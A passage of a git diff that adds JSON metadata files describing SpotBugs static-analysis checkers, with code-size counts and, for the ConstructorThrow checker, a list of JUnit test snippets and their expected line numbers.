Information/checkers/cwe/WeaknessSeverity.json @@ -0,0 +1,13 @@ +{ + "name": "WeaknessSeverity", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 26, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/AbstractAssertDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/AbstractAssertDetector.json new file mode 100644 index 0000000..b9ec1ca --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/AbstractAssertDetector.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractAssertDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 65, + "branches": 7, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/AnyMethodReturnValueStreamFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/AnyMethodReturnValueStreamFactory.json new file mode 100644 index 0000000..625ea62 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/AnyMethodReturnValueStreamFactory.json @@ -0,0 +1,13 @@ +{ + "name": "AnyMethodReturnValueStreamFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 80, + "branches": 7, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/AppendingToAnObjectOutputStream.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/AppendingToAnObjectOutputStream.json new file mode 100644 index 0000000..7db6f21 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/AppendingToAnObjectOutputStream.json @@ -0,0 +1,13 @@ +{ + "name": "AppendingToAnObjectOutputStream", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 99, + "branches": 9, + "apis": 21, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/AtomicityProblem.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/AtomicityProblem.json new file mode 100644 index 0000000..dcd5845 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/AtomicityProblem.json @@ -0,0 +1,13 @@ +{ + "name": "AtomicityProblem", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 139, + "branches": 25, + "apis": 27, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadAppletConstructor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadAppletConstructor.json new file mode 100644 index 0000000..f3e6855 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadAppletConstructor.json @@ -0,0 +1,13 @@ +{ + "name": "BadAppletConstructor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 93, + "branches": 9, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadResultSetAccess.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadResultSetAccess.json new file mode 100644 index 0000000..be591a2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadResultSetAccess.json @@ -0,0 +1,13 @@ +{ + "name": "BadResultSetAccess", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 83, + "branches": 7, + "apis": 19, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadSyntaxForRegularExpression.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadSyntaxForRegularExpression.json new file mode 100644 index 0000000..cff8b47 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadSyntaxForRegularExpression.json @@ -0,0 +1,13 @@ +{ + "name": "BadSyntaxForRegularExpression", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 183, + "branches": 27, + "apis": 57, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadUseOfReturnValue.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadUseOfReturnValue.json new file mode 100644 index 0000000..6890206 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadUseOfReturnValue.json @@ -0,0 +1,13 @@ +{ + "name": "BadUseOfReturnValue", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 79, + "branches": 8, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadlyOverriddenAdapter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadlyOverriddenAdapter.json new file mode 100644 index 0000000..087127a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BadlyOverriddenAdapter.json @@ -0,0 +1,13 @@ +{ + "name": "BadlyOverriddenAdapter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 101, + "branches": 12, + "apis": 22, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BooleanReturnNull.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BooleanReturnNull.json new file mode 100644 index 0000000..266c60a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BooleanReturnNull.json @@ -0,0 +1,13 @@ +{ + "name": "BooleanReturnNull", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 45, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildAccessMethodsDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildAccessMethodsDatabase.json new file mode 100644 index 0000000..841314f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildAccessMethodsDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "BuildAccessMethodsDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 3, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildCheckReturnAnnotationDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildCheckReturnAnnotationDatabase.json new file mode 100644 index 0000000..2822100 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildCheckReturnAnnotationDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "BuildCheckReturnAnnotationDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 150, + "branches": 22, + "apis": 28, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildInterproceduralCallGraph.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildInterproceduralCallGraph.json new file mode 100644 index 0000000..d57703e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildInterproceduralCallGraph.json @@ -0,0 +1,13 @@ +{ + "name": "BuildInterproceduralCallGraph", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 120, + "branches": 13, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildNonNullAnnotationDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildNonNullAnnotationDatabase.json new file mode 100644 index 0000000..7bd670a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildNonNullAnnotationDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "BuildNonNullAnnotationDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 164, + "branches": 19, + "apis": 23, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildNonnullReturnDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildNonnullReturnDatabase.json new file mode 100644 index 0000000..3f1adca --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildNonnullReturnDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "BuildNonnullReturnDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 130, + "branches": 15, + "apis": 28, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildObligationPolicyDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildObligationPolicyDatabase.json new file mode 100644 index 0000000..c178beb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildObligationPolicyDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "BuildObligationPolicyDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 448, + "branches": 42, + "apis": 101, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildStringPassthruGraph.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildStringPassthruGraph.json new file mode 100644 index 0000000..8f6366f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildStringPassthruGraph.json @@ -0,0 +1,13 @@ +{ + "name": "BuildStringPassthruGraph", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 289, + "branches": 32, + "apis": 57, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildUnconditionalParamDerefDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildUnconditionalParamDerefDatabase.json new file mode 100644 index 0000000..d18746b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/BuildUnconditionalParamDerefDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "BuildUnconditionalParamDerefDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 238, + "branches": 31, + "apis": 65, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CallToUnconditionalThrower.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CallToUnconditionalThrower.json new file mode 100644 index 0000000..363158d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CallToUnconditionalThrower.json @@ -0,0 +1,13 @@ +{ + "name": "CallToUnconditionalThrower", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 183, + "branches": 23, + "apis": 33, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CallToUnsupportedMethod.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CallToUnsupportedMethod.json new file mode 100644 index 0000000..9a9e41e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CallToUnsupportedMethod.json @@ -0,0 +1,13 @@ +{ + "name": "CallToUnsupportedMethod", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 173, + "branches": 21, + "apis": 34, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CalledMethods.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CalledMethods.json new file mode 100644 index 0000000..ef53a2a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CalledMethods.json @@ -0,0 +1,13 @@ +{ + "name": "CalledMethods", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 99, + "branches": 14, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckAnalysisContextContainedAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckAnalysisContextContainedAnnotation.json new file mode 100644 index 0000000..71f7ff3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckAnalysisContextContainedAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "CheckAnalysisContextContainedAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 143, + "branches": 14, + "apis": 29, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckCalls.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckCalls.json new file mode 100644 index 0000000..2183bca --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckCalls.json @@ -0,0 +1,13 @@ +{ + "name": "CheckCalls", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 133, + "branches": 12, + "apis": 28, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckExpectedWarnings.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckExpectedWarnings.json new file mode 100644 index 0000000..ae9def7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckExpectedWarnings.json @@ -0,0 +1,13 @@ +{ + "name": "CheckExpectedWarnings", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 410, + "branches": 66, + "apis": 98, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckImmutableAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckImmutableAnnotation.json new file mode 100644 index 0000000..f1b2b8c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckImmutableAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "CheckImmutableAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 4, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckRelaxingNullnessAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckRelaxingNullnessAnnotation.json new file mode 100644 index 0000000..d2123a8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckRelaxingNullnessAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "CheckRelaxingNullnessAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 333, + "branches": 47, + "apis": 58, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckTypeQualifiers.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckTypeQualifiers.json new file mode 100644 index 0000000..a1e0d5e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CheckTypeQualifiers.json @@ -0,0 +1,13 @@ +{ + "name": "CheckTypeQualifiers", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 671, + "branches": 89, + "apis": 171, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CloneIdiom.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CloneIdiom.json new file mode 100644 index 0000000..0f135c9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/CloneIdiom.json @@ -0,0 +1,13 @@ +{ + "name": "CloneIdiom", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 236, + "branches": 27, + "apis": 43, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ComparatorIdiom.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ComparatorIdiom.json new file mode 100644 index 0000000..a15f18c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ComparatorIdiom.json @@ -0,0 +1,13 @@ +{ + "name": "ComparatorIdiom", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 88, + "branches": 9, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ConfusedInheritance.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ConfusedInheritance.json new file mode 100644 index 0000000..61ca2f5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ConfusedInheritance.json @@ -0,0 +1,13 @@ +{ + "name": "ConfusedInheritance", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 4, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ConfusionBetweenInheritedAndOuterMethod.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ConfusionBetweenInheritedAndOuterMethod.json new file mode 100644 index 0000000..c024ad7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ConfusionBetweenInheritedAndOuterMethod.json @@ -0,0 +1,13 @@ +{ + "name": "ConfusionBetweenInheritedAndOuterMethod", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 153, + "branches": 25, + "apis": 33, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ConstructorThrow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ConstructorThrow.json new file mode 100644 index 0000000..60c9649 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ConstructorThrow.json @@ -0,0 +1,410 @@ +{ + "name": "ConstructorThrow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 365, + "branches": 54, + "apis": 69, + "test": [ + { + "description": "testConstructorThrowCheck1", + "expected-problems": null, + "expected-linenumbers": [ + 10, + 15 + ], + "code": "@Test\n void testConstructorThrowCheck1() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest1.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 9);\n }" + }, + { + "description": "testConstructorThrowCheck2", + "expected-problems": null, + "expected-linenumbers": [ + 17, + 22 + ], + "code": "@Test\n void testConstructorThrowCheck2() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest2.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 11);\n }" + }, + { + "description": "testConstructorThrowCheck3", + "expected-problems": null, + "expected-linenumbers": [ + 24, + 29 + ], + "code": "@Test\n void testConstructorThrowCheck3() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest3.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 9);\n }" + }, + { + "description": "testConstructorThrowCheck4", + "expected-problems": null, + "expected-linenumbers": [ + 31, + 36 + ], + "code": "@Test\n void testConstructorThrowCheck4() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest4.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 20);\n }" + }, + { + "description": "testConstructorThrowCheck5", + "expected-problems": null, + "expected-linenumbers": [ + 38, + 44 + ], + "code": "@Test\n void testConstructorThrowCheck5() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest5.class\");\n assertBugTypeCount(CT_THROW, 2);\n assertBugAtLine(CT_THROW, 11);\n assertBugAtLine(CT_THROW, 16);\n }" + }, + { + "description": "testConstructorThrowCheck6", + "expected-problems": null, + "expected-linenumbers": [ + 46, + 51 + ], + "code": "@Test\n void testConstructorThrowCheck6() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest6.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 11);\n }" + }, + { + "description": "testConstructorThrowCheck7", + "expected-problems": null, + "expected-linenumbers": [ + 53, + 57 + ], + "code": "@Test\n void testConstructorThrowCheck7() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest7.class\");\n assertNoBugType(CT_THROW); // It doesn't work for lambdas\n }" + }, + { + "description": "testConstructorThrowCheck8", + "expected-problems": null, + "expected-linenumbers": [ + 59, + 63 + ], + "code": "@Test\n void testConstructorThrowCheck8() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest8.class\");\n assertNoBugType(CT_THROW); // It doesn't work for lambdas\n }" + }, + { + "description": "testConstructorThrowCheck9", + "expected-problems": null, + "expected-linenumbers": [ + 65, + 69 + ], + "code": "@Test\n void testConstructorThrowCheck9() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest9.class\");\n assertNoBugType(CT_THROW); // It doesn't work for lambdas\n }" + }, + { + "description": "testConstructorThrowCheck10", + "expected-problems": null, + "expected-linenumbers": [ + 71, + 76 + ], + "code": "@Test\n void testConstructorThrowCheck10() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest10.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 9);\n }" + }, + { + "description": "testConstructorThrowCheck11", + "expected-problems": null, + "expected-linenumbers": [ + 78, + 83 + ], + "code": "@Test\n void testConstructorThrowCheck11() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest11.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 15);\n }" + }, + { + "description": "testConstructorThrowCheck12", + "expected-problems": null, + "expected-linenumbers": [ + 85, + 90 + ], + "code": "@Test\n void testConstructorThrowCheck12() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest12.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 15);\n }" + }, + { + "description": "testConstructorThrowCheck13", + "expected-problems": null, + "expected-linenumbers": [ + 92, + 97 + ], + "code": "@Test\n void testConstructorThrowCheck13() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest13.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 19);\n }" + }, + { + "description": "testConstructorThrowCheck14", + "expected-problems": null, + "expected-linenumbers": [ + 99, + 104 + ], + "code": "@Test\n void testConstructorThrowCheck14() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest14.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 24);\n }" + }, + { + "description": "testConstructorThrowCheck15", + "expected-problems": null, + "expected-linenumbers": [ + 106, + 111 + ], + "code": "@Test\n void testConstructorThrowCheck15() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest15.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 15);\n }" + }, + { + "description": "testConstructorThrowCheck16", + "expected-problems": null, + "expected-linenumbers": [ + 113, + 118 + ], + "code": "@Test\n void testConstructorThrowCheck16() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest16.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 10);\n }" + }, + { + "description": "testConstructorThrowCheck17", + "expected-problems": null, + "expected-linenumbers": [ + 120, + 125 + ], + "code": "@Test\n void testConstructorThrowCheck17() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest17.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 9);\n }" + }, + { + "description": "testConstructorThrowCheck18", + "expected-problems": null, + "expected-linenumbers": [ + 127, + 132 + ], + "code": "@Test\n void testConstructorThrowCheck18() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest18.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 11);\n }" + }, + { + "description": "testConstructorThrowCheck19", + "expected-problems": null, + "expected-linenumbers": [ + 134, + 139 + ], + "code": "@Test\n void testConstructorThrowCheck19() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest19.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 11);\n }" + }, + { + "description": "testConstructorThrowCheck20", + "expected-problems": null, + "expected-linenumbers": [ + 141, + 146 + ], + "code": "@Test\n void testConstructorThrowCheck20() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest20.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 13);\n }" + }, + { + "description": "testConstructorThrowCheck21", + "expected-problems": null, + "expected-linenumbers": [ + 148, + 153 + ], + "code": "@Test\n void testConstructorThrowCheck21() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest21.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 9);\n }" + }, + { + "description": "testConstructorThrowCheck22", + "expected-problems": null, + "expected-linenumbers": [ + 155, + 160 + ], + "code": "@Test\n void testConstructorThrowCheck22() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest22.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 11);\n }" + }, + { + "description": "testConstructorThrowCheck23", + "expected-problems": null, + "expected-linenumbers": [ + 162, + 166 + ], + "code": "@Test\n void testConstructorThrowCheck23() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest23.class\");\n assertNoBugType(CT_THROW); // It doesn't work for lambdas\n }" + }, + { + "description": "testConstructorThrowCheck24", + "expected-problems": null, + "expected-linenumbers": [ + 168, + 173 + ], + "code": "@Test\n void testConstructorThrowCheck24() {\n performAnalysis(\"constructorthrow/ConstructorThrowTest24.class\");\n assertBugTypeCount(CT_THROW, 1);\n assertBugAtLine(CT_THROW, 11);\n }" + }, + { + "description": "testGoodConstructorThrowCheck1", + "expected-problems": null, + "expected-linenumbers": [ + 175, + 179 + ], + "code": "@Test\n void testGoodConstructorThrowCheck1() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest1.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck2", + "expected-problems": null, + "expected-linenumbers": [ + 181, + 185 + ], + "code": "@Test\n void testGoodConstructorThrowCheck2() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest2.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck3", + "expected-problems": null, + "expected-linenumbers": [ + 187, + 191 + ], + "code": "@Test\n void testGoodConstructorThrowCheck3() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest3.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck4", + "expected-problems": null, + "expected-linenumbers": [ + 193, + 197 + ], + "code": "@Test\n void testGoodConstructorThrowCheck4() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest4.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck5", + "expected-problems": null, + "expected-linenumbers": [ + 199, + 203 + ], + "code": "@Test\n void testGoodConstructorThrowCheck5() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest5.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck6", + "expected-problems": null, + "expected-linenumbers": [ + 205, + 209 + ], + "code": "@Test\n void testGoodConstructorThrowCheck6() {\n performAnalysis(\"constructorthrow/ConstructorThrowNegativeTest6.class\");\n assertNoBugType(CT_THROW);\n }" + }, + { + "description": "testGoodConstructorThrowCheck7", + "expected-problems": null, + 